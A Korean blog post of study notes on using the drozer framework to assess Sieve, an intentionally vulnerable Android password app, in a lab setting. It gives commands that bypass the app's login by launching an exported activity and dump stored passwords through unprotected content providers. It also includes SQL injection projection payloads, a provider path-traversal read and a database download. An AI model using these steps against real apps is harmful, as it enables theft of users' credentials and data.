보안/android

[앱][리버싱] 6주차 정리 ; drozer로 앱 분석

y00&z1 2021. 10. 28. 15:38

모바일 앱 리버싱 도구 drozer를 이용하여 앱 분석하기

 

##Drozer? - android 공격 프레임워크

1) 동작 방식

  1. Drozer Agent를 Android Emulator에서 실행
  2. Drozer Console에 접속하여 command를 입력
  3. command 실행 결과가 console 상애 출력됨
  4. command 실행 결과에 대한 분석 진행

2) 특징

  • 실제 기기와 Android Emulator에서 Android 보안 동적 테스트 실행 가능
  • 테스트 자동화 및 추가 모듈 확장 가능
  • Android Public Exploits에 Test 가능
  • 정적 테스트 기능은 없음! 

3) 사용 오픈소스 도구

  • Tools - Android SDK (Emulator, ADB)
  • JAVA Development Kit (JDK)

4) 도출 가능한 취약점 목록 

  • Retrieving Package Information
  • Identify the Attack Surface
  • Activities 분석
  • Content Provider Vulnerabilities
  • Broadcast Receivers 분석

5) Requirements

  1. Python2.7 Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable.  (3 말고 2.7로!!)
  2. Protobuf 2.6 or greater
  3. Pyopenssl 16.2 or greater
  4. Twisted 10.2 or greater
  5. Java Development Kit 1.7  Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable. 
  6. Android Debug Bridge

 

 

##drozer 실습 

[1] 설치

https://labs.f-secure.com/tools/drozer/

 

Drozer

 

labs.f-secure.com

 

https://github.com/FSecureLABS/drozer

 

GitHub - FSecureLABS/drozer: The Leading Security Assessment Framework for Android.

The Leading Security Assessment Framework for Android. - GitHub - FSecureLABS/drozer: The Leading Security Assessment Framework for Android.

github.com

 

 

 

C:\Users\yoon2\AppData\Local\Android\Sdk\platform-tools>adb install C:\Users\yoon2\Downloads\sieve.apk

sieve.apk -  설정한 pw;12345678987654321

-> 패스워드 관리 앱! (drozer test 앱) 

 

 

[2] 명령어 

run [module] drozer 모듈 실행
list 현재 세션에서 실행 가능한 모든 drozer 모듈 출력
(적절한 실행 권한 없을 경우 : 몇몇 모듈 감춰짐)
shell agent 프로세스가 설치되어 있는 디바이스의 Linux shell 실행
cd 모듈의 full name을 반복적으로 입력하는 것을 피하기 위해서
root 세션의 namespace를 마운트
clean drozer에 의해 안드로이드 디바이스에 생성된 임시 파일 삭제
contributors drozer 프레임워크 & 모듈 제작자 출력
echo text를 console에 출력
exit drozer 세션 종료
help 특정 모듈/명령에 대한 도움말 출력
load drozer 명령이 포함된 파일 로딩 후 실행
module 인터넷에서 추가 drozer 모듈 찾고 설치
permissions drozer agent에 주어진 권한 출력
set 환경변수 등록
unset 환경변수 해제 

 

[3] 앱 보안 취약점 분석 
↙ mwri 문서 ↘

https://labs.f-secure.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

 

 


앱 -> 패키지처럼 

패키지의 정보 추출(앱 이름만 아는 상태. 패키지명을 알아야 함!!)

dz> run app.package.list -f sieve 

->알아낸 패키지명으로 패키지 정보 추출

dz> run app.package.info -a com.mwr.example.sieve 

; uses permission도 나옴! (안드로이드 자체 permission)

defines permission(새로 정의한 permission)

drozer에서 manifest 파일 읽을 수 있음

dz> run app.package.manifest com.mwr.example.sieve 

;manifest 파일에서 중점적으로 볼 것

-permission(위 부분은 앱 전체/ 밑 부분은 각각의 activity(각 화면))

-provider(액티비티 간에 정보 주고받을 때, db에 대한 접근에 대한 설정)

-service(백그라운드에서 돌아가고 있는 프로그램, 화면에서는 안 보임)

-> 위 세 가지에 대한 정의

+) 사용자 정의 permission도 확인 가능



▣ 3.3 

공격 범위 찾기

dz> run app.package.attacksurface com.mwr.example.sieve

 


exported - 다른 앱에서 내 앱 접근할 수 있다 ==> 원래는 없게 해야 함! 굉장히 취약

is debuggable ; adb로 디버거 가능! 

 


3.4 

액티비티 정보 추출

dz> run app.activity.info -a com.mwr.example.sieve 

permission이 없는 거만 출력됨 -> 외부에서 접근 가능한 액티비티만 

 


dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

[패키지명] [액티비티명]

 


-> 로그인 페이지 건너뛰고 바로 비밀번호 페이지로 갈 수 있음

 


3.5 

provider 정보 추출

dz> run app.provider.info -a com.mwr.example.sieve 

 


Read Permission: null

Write Permission: null

-> 외부에서 읽고 쓰기 가능!

provider : 데이터를 주고받을 때 사용

a앱이 b앱 데이터에 접근하고 싶을 때! 

-> uri로 접근 ; content://app.appname/keys

content에 대한 uri를 가지고 있고 이를 통해 데이터 접근 가능

 

 

permission이 없기 때문에 uri만 알고 있으면 접근 가능

-> drozer가 찾아줌

dz> run scanner.provider.finduris -a com.mwr.example.sieve 

=> 쿼리문 날릴 수 있는

 

접근 가능한 end-point가 세 개! 

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

 +) Keys 

 

 



3.5.2

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

-> unrecognized token: "' FROM Passwords" (code 1 SQLITE_ERROR): , while compiling: SELECT ' FROM Passwords

Passwords db에 저장되는 것을 알 수 있음 (안드로이드는 SQLite)

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ -- projection "* FROM SQLITE_MASTER WHERE type='table';--" 

db에 대한 db : sqlmaster ! 

 

테이블명을 가져오기! 
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"


3.5.3

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 

오픈된 정보라 딱히 문제 되지는 않음

 


dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/data/com.mwr.ex

ample.sieve/databases/database.db /home/user/database.db 

-> unrecognized arguments: /home/user/database.db

 

 

 

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /tmp/database.db

찾는 법 -> 안드로이드 스튜디오 ; view -> tool windows ->device file explorer

/data/data/com.mwr.example.sieve/databases/database.db

 


다운로드한 위치에서 sqlite로 db 열람 가능

(다운로드 권한/읽는 권한)

 


3.5.4

스캐너 도구

dz> run scanner.provider.injection -a com.mwr.example.sieve 

(인젝션 가능한)

 

dz> run scanner.provider.traversal -a com.mwr.example.sieve 

(접근 가능한)

 

 


3.6

서비스

dz> run app.service.info -a com.mwr.example.sieve 

-> 디컴파일도 같이 병행해서,,!


exploit은 보충!